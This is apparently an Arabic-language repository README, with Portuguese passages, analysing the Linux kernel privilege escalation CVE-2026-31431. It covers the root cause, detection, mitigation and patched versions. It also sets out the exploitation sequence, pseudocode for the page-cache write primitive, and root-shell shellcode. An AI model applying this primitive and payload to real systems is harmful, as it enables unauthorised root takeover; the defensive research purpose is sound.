
تحليل تعليمي لـ CVE-2026-31431، وهو تصعيد محلي للامتيازات في نواة لينكس عبر عملية AF_ALG AEAD في المكان، بما في ذلك السبب الجذري التقني والكشف والتخفيف.
تحليل تقني تعليمي لواحدة من أكثر الثغرات الأمنية أهمية في نواة لينكس منذ Dirty Pipe (2022).
هذا المستودع مخصص لـالبحث والدراسة والدفاع. لا يتم توزيع أي استغلال (exploit) عملي هنا.
CVE-2026-31431، الملقبة بـ Copy Fail، هي ثغرة تصعيد صلاحيات محلي (LPE — Local Privilege Escalation) في نواة لينكس. تسمح لأي مستخدم بدون صلاحيات بالحصول على وصول root في غضون ثوانٍ.
| السمة | القيمة |
|---|---|
| CVE | CVE-2026-31431 |
| درجة CVSS | 7.8 HIGH |
| النوع | تصعيد صلاحيات محلي (LPE) |
| النظام الفرعي | crypto/algif_aead.c — AF_ALG |
| أُدخلت في | النواة 4.14 (commit 72548b093ee3, يوليو 2017) |
| صُححت في | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| اكتُشفت بواسطة | Taeyang Lee — Theori / Xint Code |
| الإفصاح العام | 29 أبريل 2026 |
| PoC عام | نعم — سكربت Python بحجم ~732 بايت |
تخيل أن نظام التشغيل لديه ذاكرة عمل (تسمى page cache) يخزن فيها نسخًا من الملفات التي يتم استخدامها. عندما تنفذ برنامجًا، يقوم النظام بتحميل هذا البرنامج في تلك الذاكرة وينفذه من هناك — وليس مباشرة من القرص.
تسمح Copy Fail لمستخدم عادي بتعديل تلك النسخة في الذاكرة لبرنامج خاص (ملف ثنائي setuid، مثل الأمر su) دون لمس الملف الأصلي على القرص. يبقى الملف على القرص سليمًا، لكن عند تنفيذ البرنامج، يقرأ النظام النسخة التالفة من الذاكرة.
إنه مثل تبديل وصفة طبق في ذاكرة طاهٍ بينما هو يطبخ — كتاب الوصفات الأصلي لا يتغير، لكن الطبق الذي يخرج مختلف تمامًا.
النتيجة: البرنامج التالف ينفذ كود المهاجم بصلاحيات root.
ما يجعل هذا خطيرًا بشكل خاص:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## كيف يعمل تقنيًا
### نظرة عامة على التدفق```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
الخلل موجود في crypto/algif_aead.c. في عام 2017، تم تحويل عملية AEAD إلى العمل في المكان لتحسين الأداء:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
خوارزمية `authencesn` تستخدم المخزن المؤقت الهدف كمساحة عمل مؤقتة لإعادة ترتيب بايتات رقم التسلسل الموسع (ESN) الخاص بـ IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
تتجاوز الكتابة نظام الملفات الافتراضي (VFS) تمامًا. الصفحة المعدّلة لا تُعلَّم أبدًا كـ dirty بواسطة آلية الكتابة الخلفية (writeback) في النواة. يبقى الملف على القرص سليمًا. أدوات التحقق من التكامل القائمة على التجزئة (aide, tripwire, inotifywait) لا تكتشف شيئًا لأنها تراقب القرص، وليس ذاكرة التخزين المؤقت للصفحات (page cache).
يضمّن الاستغلال ملف ELF مصغّرًا بحجم 160 بايت مضغوطًا بـ zlib. بعد فك الضغط، يكون الجزء القابل للتنفيذ:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**بنية ELF الأدنى (إجمالي 160 بايت):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) | |
|---|---|---|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| النوع | حالة سباق في CoW | مخزن الأنابيب بدون علامات | خطأ منطقي في AEAD |
| الموثوقية | يعتمد على السباق (~مللي ثانية) | حتمي | حتمي |
| أثر على القرص | نعم (صفحات متسخة) | لا | لا |
| قابلية النقل | واسعة | إصدارات محددة | شامل (2017–2026) |
| حجم الإثبات | ~50 سطرًا بلغة C | ~40 سطرًا بلغة C | ~10 أسطر بلغة Python |
| النظام الفرعي | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| الاكتشاف | يدوي | يدوي | بمساعدة الذكاء الاصطناعي |
| نافذة الاستغلال | نافذة سباق | لا توجد | لا توجد |
إصدارات النواة:
التوزيعات ذات الاستغلالات الوظيفية المؤكدة:
الشرط الضروري: CONFIG_CRYPTO_USER_API_AEAD=y أو =m في النواة
التحقق مما إذا كان النظام معرضًا للخطر:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## هل يتأثر أندرويد؟
**إجابة مختصرة:** أندرويد القياسي (AOSP/GKI) **ليس عرضة للخطر عمليًا**، لكن الأجهزة ذات الإعدادات غير القياسية تستحق التحقق.
### التحليل حسب المتطلب المسبق```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
1. غياب CONFIG_CRYPTO_USER_API_AEAD في GKI
لا يتضمن جوجل هذا الخيار في gki_defconfig الافتراضي لمعمارية arm64. يستخدم أندرويد BoringSSL في مساحة المستخدم للتشفير، ولا يعتمد على AF_ALG.
2. تفعيل SELinux
لا يمتلك نطاق untrusted_app الخاص بـ SELinux في أندرويد صلاحية create لـ AF_ALG. يتم رفض استدعاء socket(AF_ALG, SOCK_SEQPACKET, 0) برمز EACCES قبل الوصول إلى نظام التشفير الفرعي.
3. Seccomp-bpf
تعمل تطبيقات أندرويد مع مرشح seccomp يحظر socket() مع domain=AF_ALG — فهو غير مدرج في القائمة البيضاء لاستدعاءات النظام المسموحة لتطبيقات الطرف الثالث.
4. غياب الملفات الثنائية setuid
لا يستخدم أندرويد نموذج setuid التقليدي في لينكس. تستخدم الملفات الثنائية المميزة capabilities محددة أو تعمل كخدمات بمعرفات UID مخصصة. لا يوجد /usr/bin/su في إصدارات الإنتاج من AOSP.
| السيناريو | الخطر |
|---|---|
| جهاز مع Magisk/KernelSU + SELinux permissive | مرتفع — يمكن أن تتوافق جميع المتطلبات الأساسية |
نواة OEM مع CONFIG_CRYPTO_USER_API_AEAD=y + إصدار eng | متوسط — يعتمد على الوصول إلى shell |
| تطبيق خبيث على جهاز غير مُجذر | لا يوجد — يحظر SELinux و seccomp |
| ADB في إصدار إنتاج | لا يوجد — لا يعمل adb root |
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
adb shell getenforce
adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
---
## الكشف
### Falco (كشف وقت التشغيل)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
### التحقق مما إذا كان النظام قد تم اختراقه```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição
sudo apt update && sudo apt upgrade linux-image-generic sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo dnf upgrade kernel sudo reboot
sudo pacman -Syu linux sudo reboot
uname -r
**الإصدارات المُصحّحة حسب السلسلة:**
| السلسلة | الإصدار المُصحّح |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0** (يتضمّن الإصلاح) |
### الخيار 2 — تعطيل algif_aead (حل مؤقت)
**إذا كان `CONFIG_CRYPTO_USER_API_AEAD=m` (وحدة قابلة للتحميل):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
إذا كان CONFIG_CRYPTO_USER_API_AEAD=y (مدمج — حالة RHEL/Rocky/CloudLinux):
⚠️ الأمر أعلاه لا يعمل عندما يكون الوحدة مدمجة في النواة.```bash
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot
cat /proc/cmdline | grep algif_aead_init
**تأكيد أن الحل البديل يعمل:**```bash
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
توافق الحل البديل:
حظر algif_aead لا يؤثر على dm-crypt/LUKS، kTLS، IPsec/XFRM، OpenSSL، GnuTLS، NSS، SSH. يؤثر فقط على التطبيقات التي تستخدم AF_ALG بشكل صريح لـ AEAD (نادر — مثال: OpenSSL مع محرك afalg، تفريغ التشفير عبر العتاد).
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }
---
## تطبيقات للدراسة
يوثّق هذا المستودع آلية الاستغلال بلغات متعددة لأغراض تعليمية. التركيز هو فهم **كيف** تعمل الثغرة، وليس توزيع أدوات هجومية.
### بنية الآلية (شبه كود)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
| اللغة | الوصف |
|---|---|
| Python (مزيل التعتيم) | نسخة نظيفة ومعلّقة من الـ PoC الأصلي |
| NASM x86_64 | حمولة ELF مشروحة تعليمة بتعليمة |
| Go | باستخدام syscall.RawSyscall6 لـ SYS_SPLICE و SYS_SETSOCKOPT مباشرة |
| C | تنفيذ مع struct msghdr و CMSG_DATA و zlib وقت التشغيل |
يحتوي ملف copyfail_study.md على التنفيذات الكاملة والمعلّقة.
الـ shellcode المسترجع (بعد فك ضغط zlib من الـ PoC) يقوم بـ:```
Total: 26 bytes de código + 8 bytes de string = 34 bytes de shellcode dentro de um ELF de 160 bytes.
---
## المراجع
| المورد | الرابط |
|---|---|
| Writeup الأصلي (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| الموقع الرسمي لـ CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| مستودع PoC الأصلي | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| التصحيح الرئيسي | https://git.kernel.org/stable/c/a664bf3d603d |
| ويكيبيديا | https://en.wikipedia.org/wiki/Copy_Fail |
| تحليل Sysdig + قاعدة Falco | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| تحليل Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| الأسئلة الشائعة من Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| نشرة CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| تحليل Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| نقاش OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| تصحيح AlmaLinux | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| تصحيح CloudLinux + تحليل الحل البديل | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
---
## إخلاء مسؤولية
هذا المستودع **لأغراض تعليمية وبحثية في الأمن الدفاعي حصراً**. المحتوى الموجود هنا مخصص لما يلي:
- متخصصو الأمن الهجومي والدفاعي
- باحثو الثغرات الأمنية
- طلاب أمن المعلومات
- مسؤولو الأنظمة الذين يحتاجون إلى فهم المخاطر للتخفيف منها
**لا تستخدم هذه المعرفة على أنظمة دون إذن صريح من المالك.** الوصول غير المصرح به إلى أنظمة الحاسوب جريمة في جميع الولايات القضائية تقريباً (في البرازيل، القانون 12.737/2012 — قانون Carolina Dieckmann؛ القانون 14.155/2021).
---
*آخر تحديث: مايو 2026*
*المساهمات مرحب بها عبر PR — حافظ على التركيز التعليمي والدفاعي.*